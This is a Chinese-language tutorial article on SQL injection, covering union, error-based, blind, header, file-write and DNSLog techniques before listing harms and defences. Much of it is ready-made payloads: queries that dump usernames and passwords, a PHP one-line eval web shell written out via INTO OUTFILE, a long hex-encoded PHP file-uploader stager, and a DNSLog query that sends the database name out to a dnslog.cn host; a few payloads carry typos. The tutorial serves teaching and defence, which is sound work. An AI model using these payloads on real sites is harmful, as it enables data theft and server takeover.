SQL注入詳細(xì)講解(萬字長(zhǎng)文,全網(wǎng)最全!)
漏洞原因
一些概念:
SQL:用于數(shù)據(jù)庫(kù)中的標(biāo)準(zhǔn)數(shù)據(jù)查詢語言。
web分為前端和后端,前端負(fù)責(zé)進(jìn)行展示,后端負(fù)責(zé)處理來自前端的請(qǐng)求并提供前端展示的資源。
而數(shù)據(jù)庫(kù)就是存儲(chǔ)資源的地方。
而服務(wù)器獲取數(shù)據(jù)的方法就是使用SQL語句進(jìn)行查詢獲取。
SQL注入:所謂的sql注入就是通過某種方式將惡意的sql代碼添加到輸入?yún)?shù)中,然后傳遞到sql服務(wù)器使其解析并執(zhí)行的一種攻擊手法
SQL可分為平臺(tái)層注入和代碼層注入。
平臺(tái)層注入:由于不安全的數(shù)據(jù)庫(kù)配置或數(shù)據(jù)庫(kù)平臺(tái)的漏洞導(dǎo)致。
代碼層注入:程序員對(duì)輸入沒有細(xì)致地過濾,從而執(zhí)行了非法地?cái)?shù)據(jù)查詢。
原因:在前后端數(shù)據(jù)的交互中,前端的數(shù)據(jù)傳到后臺(tái)處理時(shí),沒有做嚴(yán)格的判斷,導(dǎo)致其傳入的數(shù)據(jù)拼接到SQL語句中,被當(dāng)成SQL語句的一部分執(zhí)行,從而導(dǎo)致數(shù)據(jù)庫(kù)受損,信息丟失。
總結(jié)版:后臺(tái)服務(wù)器接收相關(guān)參數(shù)未經(jīng)過過濾直接帶入數(shù)據(jù)庫(kù)查詢。
例子:
比如這是一條前端URL:http://www.dbjr.com.cn/aboutus.php?id=1
其后臺(tái)sql語句:$sql=“SELECT 123 FROM abc WHERE id='1 '"
這條語句是采用拼接方式去對(duì)數(shù)據(jù)庫(kù)內(nèi)容進(jìn)行查詢的,而且并未對(duì)用戶在前端輸入的內(nèi)容做過濾,并且用戶對(duì)id這個(gè)參數(shù)可控,本來程序員設(shè)計(jì)這條查詢語句是希望通過它去快速查詢數(shù)據(jù)庫(kù)中abc表的某個(gè)內(nèi)容并且回顯到前端頁(yè)面來的,但是攻擊者通過單引號(hào)’ 閉合數(shù)據(jù)庫(kù)查詢語句,并且可以構(gòu)造這樣的惡意url:http://www.dbjr.com.cn/aboutus.php?id=-1 ’ select password from admin#去查詢admin 用戶的密碼,而非查詢預(yù)先程序員所設(shè)計(jì)好的數(shù)據(jù)內(nèi)容。
其中:url中?代表傳值的意思,id代表變量,等號(hào)代表變量的值。
瀏覽器通常使用 ? 來表示GET方法傳遞參數(shù),而使用POST傳遞參數(shù)是不會(huì)顯示到URL中的,因此URL中含有?說明就是使用GET方法傳遞參數(shù)。POST型注入和Cookie注入需要插件和工具才可進(jìn)行。
過程
常見的注入方式:
參數(shù)類型分類:
數(shù)字型、字符型
注入手法分類:
聯(lián)合查詢注入、報(bào)錯(cuò)注入、基于布爾的盲注、基于時(shí)間的盲注、HTTP頭注入、寬字節(jié)注入、堆疊查詢、二階注入。
數(shù)字型:
當(dāng)輸入的參數(shù)為整形時(shí),若存在注入漏洞,則是數(shù)字型注入。
如:https://blog.csdn.net/aboutus.php?id=1
此時(shí)后臺(tái)語句:$sql=“SELECT 123 FROM abc WHERE id='1 '"
檢測(cè)方法:URL輸入 and 1=1 / and 1=2 報(bào)錯(cuò)則說明有注入
字符型
當(dāng)輸入?yún)?shù)為字符串時(shí),稱為字符型注入。
它與數(shù)字型的區(qū)別:數(shù)字型不需要單引號(hào)來閉合,而字符串需要單引號(hào)來閉合。
例:https://blog.csdn.net/aboutus.php?id=1’
此時(shí)后臺(tái)語句:$sql=“SELECT 123 FROM abc WHERE id='1 ’ ’ "
此時(shí)多出了一個(gè)單引號(hào),破壞了原本的SQL語句結(jié)構(gòu),數(shù)據(jù)庫(kù)無法處理,于是會(huì)報(bào)錯(cuò),證明這條語句成功被帶進(jìn)數(shù)據(jù)庫(kù)查詢,存在字符型注入。
此時(shí)通過 --+把后面的單引號(hào)注釋掉,SQL語句也會(huì)形成閉合。
所以我們可以這樣:
?id = 1’ 攻擊語句 --+
傳入頁(yè)面就變成了
select user from database where id = ‘1’ 攻擊語句 – ’
–+:起注釋作用,將后面的語句注釋掉,在url中+相當(dāng)于空格,–是注釋符號(hào),單行注釋,之所以要加+號(hào)是因?yàn)?ndash;與單引號(hào)連在一起無法起注釋作用因此必須把它們隔開
聯(lián)合查詢注入
聯(lián)合查詢適合于有顯示位的注入,即頁(yè)面某個(gè)位置會(huì)根據(jù)我們輸入的數(shù)據(jù)的變化而變化。
- 頁(yè)面觀察
輸入id=1和id=2,若頁(yè)面中值有變化,說明輸入與數(shù)據(jù)庫(kù)有交互
- 注入點(diǎn)判斷
直接輸入?id=1’若有報(bào)錯(cuò)則存在注入,開始判斷可以從哪里注入,?id=2’1=2–+頁(yè)面顯示不正常,說明此處存在SQL注入,注入點(diǎn)在引號(hào)。
接下來開始使用SQL語句進(jìn)行攻擊。
- 使用order by判斷當(dāng)前表的字段個(gè)數(shù)
例:?id=1 order by n --+
若n超過當(dāng)前表的列數(shù),就會(huì)報(bào)錯(cuò),說明表中只有n-1列
- 判斷顯示位
判斷顯示位時(shí),要使用 ?id=-1 或者改為0 讓前面的select語句查詢?yōu)榭斟e(cuò)誤,然后采用后面的select語句去查詢:
?id=-1' union select 1,2,3 --+
觀察頁(yè)面在哪里回顯我們的輸入,就可以用那個(gè)地方測(cè)試接下的語句。
- 爆數(shù)據(jù)庫(kù)的名字
?id=1' union select 1,database(),3 --+
在之前回顯2的地方會(huì)回顯database數(shù)據(jù)庫(kù)的名字。
- 爆數(shù)據(jù)庫(kù)中的表
?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
數(shù)據(jù)庫(kù)語句懶得解釋了。
- 爆表中的字段
?id=1' union select 1,group_concat(column_name),3 from information_schema.column where table_schema='爆出來的數(shù)據(jù)庫(kù)名‘ and table_name=‘爆出來的表名' --+
- 爆相應(yīng)字段的所有數(shù)據(jù)
?id=-1' union select 1,group_concat(id,'–‘,username,'–',password),3 from users --+
報(bào)錯(cuò)注入
含義:就是在mysql中使用指定函數(shù)來制造報(bào)錯(cuò),查詢的時(shí)候加一些格式錯(cuò)誤的信息,它會(huì)提示你格式錯(cuò)誤,可以在中間加入一些其他信息,比如select database(),報(bào)錯(cuò)信息后面也會(huì)出現(xiàn)數(shù)據(jù)庫(kù)信息.
報(bào)錯(cuò)注入:利用數(shù)據(jù)庫(kù)的報(bào)錯(cuò)信息得到數(shù)據(jù)庫(kù)的內(nèi)容。因此需要構(gòu)造語句讓數(shù)據(jù)庫(kù)報(bào)錯(cuò)。
三種報(bào)錯(cuò)注入的方法:
- group by 重復(fù)健沖
and (select 1 from (select count(*),concat((select 查詢的內(nèi)容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a) --+
- extractvalue()函數(shù)
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+//獲取數(shù)據(jù)庫(kù)名字
extractvalue(xml_frag,xpath_expr);
函數(shù)接受兩個(gè)參數(shù),第一個(gè)為XML標(biāo)記內(nèi)容,也就是查詢的內(nèi)容,第二個(gè)為XPATH路徑,也就是查詢的路徑。
如果沒有匹配的內(nèi)容,不管出于何種原因,只要路徑有效并且查詢的內(nèi)容由正確嵌套和關(guān)閉的元素組成,返回空字符串。
但如果路徑寫入錯(cuò)誤格式,就會(huì)報(bào)錯(cuò)并且返回我們寫入的非法內(nèi)容。
- updatexml()函數(shù)
?id=1' and updatexml(1,conncat('^',(需要查詢的內(nèi)容),'^'),1) --+
updatexml(xml_target,xpath_expr,new_xml);
此函數(shù)將XML標(biāo)記的給定片段的單個(gè)部分替換為xml_target新的XML片段new_xml,然后返回更改的XML。
xml_target替換的部分 與xpath_expr 用戶提供的XPath表達(dá)式匹配。如果未xpath_expr找到表達(dá)式匹配 ,或者找到多個(gè)匹配項(xiàng),則該函數(shù)返回原始 xml_targetXML片段。
所有三個(gè)參數(shù)都應(yīng)該是字符串。與extractvalue()類似,如果XPATH寫入錯(cuò)誤格式,就會(huì)報(bào)錯(cuò),并且返回我們寫入的非法內(nèi)容。
- floor()函數(shù)
floor(x),返回小于或等于x的最大整數(shù)。
回顯注入
回顯注入:利用注入漏洞可以改變頁(yè)面返回?cái)?shù)據(jù)。
基于布爾的盲注
布爾盲注:即在頁(yè)面不顯示數(shù)據(jù),只顯示對(duì)錯(cuò),此時(shí)我們輸入的語句讓頁(yè)面呈現(xiàn)兩種狀態(tài),相當(dāng)于true和false,根據(jù)這兩種狀態(tài)判斷我們輸入的語句是否查詢成功。
因此需要構(gòu)造判斷語句,根據(jù)頁(yè)面是否回顯證實(shí)猜想。
一般用到的函數(shù):
ascii()、 substr()、length()、exists()、concat()等。
**substr(strings|express,m,[n])**函數(shù):
strings|express :被截取的字符串或字符串表達(dá)式
m 從第m個(gè)字符開始截取
n 截取后字符串長(zhǎng)度為n
concat()函數(shù):concat ()方法用于連接兩個(gè)或多個(gè)數(shù)組。用于輸出在頁(yè)面中。
步驟:
- 判斷數(shù)據(jù)庫(kù)類型
數(shù)據(jù)庫(kù)可能的類型:
MySQL、 access、 SQL sever 、information_schema.tables、msysobjects、sysobjects
- 判斷數(shù)據(jù)庫(kù)名(數(shù)據(jù)庫(kù)名長(zhǎng)度、每個(gè)ASCII值)
- 判斷庫(kù)中的表名(表的個(gè)數(shù)、每個(gè)表名的長(zhǎng)度和表名的ASCII)
//猜測(cè)當(dāng)前數(shù)據(jù)庫(kù)中是否存在admin表 http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+ 1:判斷當(dāng)前數(shù)據(jù)庫(kù)中表的個(gè)數(shù) // 判斷當(dāng)前數(shù)據(jù)庫(kù)中的表的個(gè)數(shù)是否大于5,用二分法依次判斷,最后得知當(dāng)前數(shù)據(jù)庫(kù)表的個(gè)數(shù)為4 http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ 2:判斷每個(gè)表的長(zhǎng)度 //判斷第一個(gè)表的長(zhǎng)度,用二分法依次判斷,最后可知當(dāng)前數(shù)據(jù)庫(kù)中第一個(gè)表的長(zhǎng)度為6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+ //判斷第二個(gè)表的長(zhǎng)度,用二分法依次判斷,最后可知當(dāng)前數(shù)據(jù)庫(kù)中第二個(gè)表的長(zhǎng)度為6 http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+ 3:判斷每個(gè)表的每個(gè)字符的ascii值 //判斷第一個(gè)表的第一個(gè)字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ //判斷第一個(gè)表的第二個(gè)字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+ ......... 由此可判斷出存在表 emails、referers、uagents、users ,猜測(cè)users表中最有可能存在賬戶和密碼,所以以下判斷字段和數(shù)據(jù)在 users 表中判斷
判斷表中的字段名(字段個(gè)數(shù)、每個(gè)字段名長(zhǎng)度、字段名的ASCII值)爆字段中的數(shù)據(jù)(字段中的數(shù)據(jù)長(zhǎng)度、數(shù)據(jù)的ASCII)
1: 判斷數(shù)據(jù)的長(zhǎng)度 // 判斷id字段的第一個(gè)數(shù)據(jù)的長(zhǎng)度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+ // 判斷id字段的第二個(gè)數(shù)據(jù)的長(zhǎng)度 http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+ 2:判斷數(shù)據(jù)的ascii值 // 判斷id字段的第一行數(shù)據(jù)的第一個(gè)字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+ // 判斷id字段的第二行數(shù)據(jù)的第二個(gè)字符的ascii值 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+ ...........
基于時(shí)間的盲注
時(shí)間注入:通過返回時(shí)間的長(zhǎng)短判斷。
如:獲取第一個(gè)字符的ascii碼,判斷是否大于115,不成立延時(shí)五秒返回。
補(bǔ)充:
sleep(5)的意思是延遲五秒。
if(expr1,expr2,expr3) 若expr1的值為true,則返回expr2的值,如果expr1的值為false,則返回expr3的值。
例:
?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+
此處就是判斷數(shù)據(jù)庫(kù)名字的第二個(gè)字母。
用法類似布爾盲注。
HTTP頭注入
常見的SQL注入一般是通過請(qǐng)求參數(shù)或是表單進(jìn)行注入,而HTTP頭注入是通過HTTP協(xié)議頭部字段值進(jìn)行注入。
條件:
- 能夠?qū)φ?qǐng)求頭信息進(jìn)行修改
- 修改的請(qǐng)求頭信息能帶入數(shù)據(jù)庫(kù)進(jìn)行查詢
- 數(shù)據(jù)庫(kù)沒有對(duì)輸入的請(qǐng)求信息做過濾
- user-Agent注入
- cookie注入
- Referer注入
- X-Forwarded-For注入
- 寬字節(jié)注入
DNSLog注入
前置知識(shí):
1.什么是dnslog?
dns服務(wù)主要是域名解析服務(wù)器將域名轉(zhuǎn)換成ip時(shí),會(huì)生成一個(gè)日志,主要記錄:什么時(shí)候請(qǐng)求解析,什么域名,映射出什么ip;
但一般來說是看不到解析日志的,但有開放的平臺(tái):dnslog.cn
2.UNC:
UNC全名:universal naming convention,通用命名規(guī)則。其實(shí)是網(wǎng)絡(luò)上的資源的格式,在Windows里使用。
3.mysql讀寫函數(shù):
(mysql可以讀寫文件的。)
4.配置:
secure_file_priv的配置值分三種——
指定文件夾:讀寫導(dǎo)入導(dǎo)出只能發(fā)生在指定文件夾
不設(shè)置:不允許執(zhí)行
null:無限制
5.讀取文件過程:
讀文件:LOAD_FILE()
限制:只能本機(jī)的文件且文件有讀取權(quán)限,且字節(jié)數(shù)小于max_allowed_packet
判斷文件有無讀取權(quán)限: and (select count(*) from mysql.user)>0 /*如果結(jié)果返回正常,說明具有讀寫權(quán)限 如果返回錯(cuò)誤,應(yīng)該是管理員給數(shù)據(jù)庫(kù)賬戶降權(quán)。 如果文件不存在或者不能被讀出,函數(shù)返回空。在 windows 下,如果 NTFS 設(shè)置得當(dāng),是不能讀取相關(guān)的文件的,當(dāng)遇到只有administrators 才能訪問的文件,users 就別想 load_file 出來。
用法:select LOAD_FILE(‘E:\in.txt’);
兩個(gè)難點(diǎn):
絕對(duì)的物理路徑構(gòu)造有效的畸形語句(報(bào)錯(cuò)出絕對(duì)路徑)
在很多 PHP 程序中,當(dāng)提交一個(gè)錯(cuò)誤的 Query,如果 display_errors = on,程序就會(huì)暴露
WEB 目錄的絕對(duì)路徑,只要知道路徑,那么對(duì)于一個(gè)可以注入的 PHP 程序來說,整個(gè)服務(wù)
器的安全將受到嚴(yán)重的威脅。
常用路徑:http://www.cnblogs.com/lcamry/p/5729087.html
讀取示例:
將文件導(dǎo)入進(jìn)數(shù)據(jù)庫(kù):
LOAD DATA INFILE語句用于高速?gòu)囊粋€(gè)文本文件中讀取行并裝入一個(gè)表中。文件名稱必須為一個(gè)文字字符串。
示例:
load data infile '/temp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
含義:將/tmp/t0.txt 導(dǎo)入到 t0 表中,character set gbk 是字符集設(shè)置為 gbk,fields terminated by 是
每一項(xiàng)數(shù)據(jù)之間的分隔符,lines terminated by 是行的結(jié)尾符。
注:當(dāng)錯(cuò)誤代碼是 2 的時(shí)候的時(shí)候,文件不存在,錯(cuò)誤代碼為 13 的時(shí)候是沒有權(quán)限,可以考慮
/tmp 等文件夾。
導(dǎo)入到文件
格式:SELECT … INTO OUTFILE ‘file_name’
可以把被選擇的行寫入一個(gè)文件中。該文件被創(chuàng)建到服務(wù)器主機(jī)上,因此您必須擁有 FILE
權(quán)限,才能使用此語法。file_name 不能是一個(gè)已經(jīng)存在的文件。
兩種利用形式:
直接將select內(nèi)容導(dǎo)入到文件中
select ... into outfile "c:\\phpnow\\htdocs\\test.php" /*此處的...可以是一個(gè)函數(shù)如version()也可以是一句話如:<?php @eval($_post["111"]) ?>,或者其他內(nèi)容
修改文件結(jié)尾
select version() into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16
解釋:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php’的意思是將內(nèi)容輸入到outfile中。
LINES TERMINATED BY則是into outfile的參數(shù),意思是行結(jié)尾的時(shí)候用by后面的內(nèi)容,通常的一般為‘/r/n’,此處我們將by后的內(nèi)容修改為后面的16進(jìn)制的文件。16 進(jìn)制可以為一句話或者其他任何的代碼,可自行構(gòu)造。
例如:
http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -
在 sqlmap 中 os-shell 采取的就是這樣的方式,具體可參考 os-shell 分析文章:http://www.dbjr.com.cn/article/276901.htm
DNSlog注入:
注入流程:
1.把select LOAD_FILE()注入到數(shù)據(jù)庫(kù)訪問日志文件
2.UNC構(gòu)建DNS服務(wù)器地址(其實(shí)就是服務(wù)器子域名),假裝訪問文件,產(chǎn)生DNSLog
select load_file('aaa.yourid.dnslog.cn/byh');四個(gè)斜杠其實(shí)本來只有兩個(gè),還有兩個(gè)是防止轉(zhuǎn)義,/byh不能缺少,不然不是一個(gè)標(biāo)準(zhǔn)的路徑
3.把子域名替換成函數(shù)或者查詢SQL
select if((select load_file(concat('',database(),'yourid.dnslog.cn/byh'))),1,0);#其實(shí)就是把a(bǔ)aa換成了database()
最后我們使用的平臺(tái)就會(huì)顯示解析日志,在日志里就能看到查詢的內(nèi)容。
危害
- 數(shù)據(jù)庫(kù)信息泄露:用戶隱私信息泄露
- 網(wǎng)頁(yè)篡改:通過操縱數(shù)據(jù)庫(kù)對(duì)網(wǎng)頁(yè)進(jìn)行篡改
- 網(wǎng)站被掛馬,傳播惡意軟件:修改數(shù)據(jù)庫(kù)一些字段的值,嵌入網(wǎng)馬鏈接,進(jìn)行掛馬攻擊
- 數(shù)據(jù)庫(kù)被惡意操作:數(shù)據(jù)庫(kù)服務(wù)器被攻擊,數(shù)據(jù)庫(kù)的系統(tǒng)管理員賬戶被篡改
- 服務(wù)器被遠(yuǎn)程控制,被安裝后門:經(jīng)由數(shù)據(jù)庫(kù)服務(wù)器提供的操作系統(tǒng)支持,讓黑客得以修改或控制操作系統(tǒng)
- 破環(huán)硬盤數(shù)據(jù),癱瘓全系統(tǒng)
防范
SQL漏洞修復(fù)和防范方法:
1、普通用戶與系統(tǒng)管理員用戶的權(quán)限要有嚴(yán)格的區(qū)分
2、 預(yù)編譯,如使用參數(shù)化語句和綁定變量。
3、 加強(qiáng)對(duì)用戶輸入的驗(yàn)證,識(shí)別惡意內(nèi)容,過濾掉某些危險(xiǎn)語句。
4、 多使用SQL Server數(shù)據(jù)庫(kù)自帶的安全參數(shù)。
5、 轉(zhuǎn)義,把用戶的輸入當(dāng)成文本以及用斜杠來轉(zhuǎn)義
6、數(shù)據(jù)庫(kù)異常信息隱藏
6、 必要的情況下使用專業(yè)的漏洞掃描工具來尋找可能被攻擊的點(diǎn)。
7、設(shè)置陷阱賬號(hào):
設(shè)置兩個(gè)帳號(hào),一個(gè)是普通管理員帳號(hào),一個(gè)是防注入的帳號(hào)。將防注入的賬號(hào)設(shè)置的很象管理員,如 admin,以制造假象吸引軟件的檢測(cè),而密碼是大于千字以上的中文字符,迫使軟件分析賬號(hào)的時(shí)候進(jìn)入全負(fù)荷狀態(tài)甚至資源耗盡而死機(jī)。
8、防火墻,限制同IP時(shí)間、禁IP訪問、黑名單
9、對(duì)密碼之類的信息進(jìn)行加密
10.禁用某些參數(shù),如secure file priv
總結(jié)
到此這篇關(guān)于SQL注入詳細(xì)講解的文章就介紹到這了,更多相關(guān)SQL注入詳解內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
網(wǎng)絡(luò)安全滲透測(cè)試反序列化漏洞分析與復(fù)現(xiàn)工作
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全滲透測(cè)試反序列化漏洞分析與復(fù)現(xiàn)的工作流程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2022-02-02Web網(wǎng)絡(luò)安全漏洞分析DOM型XSS攻擊原理
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全漏洞分析DOM型XSS攻擊的原理詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2021-11-11SQL注入詳細(xì)講解(萬字長(zhǎng)文,全網(wǎng)最全!)
SQL注入是比較常見的網(wǎng)絡(luò)攻擊方式之一,它不是利用操作系統(tǒng)的BUG來實(shí)現(xiàn)攻擊,而是針對(duì)程序員編寫時(shí)的疏忽,下面這篇文章主要給大家介紹了關(guān)于SQL注入詳細(xì)講解的相關(guān)資料,需要的朋友可以參考下2023-03-03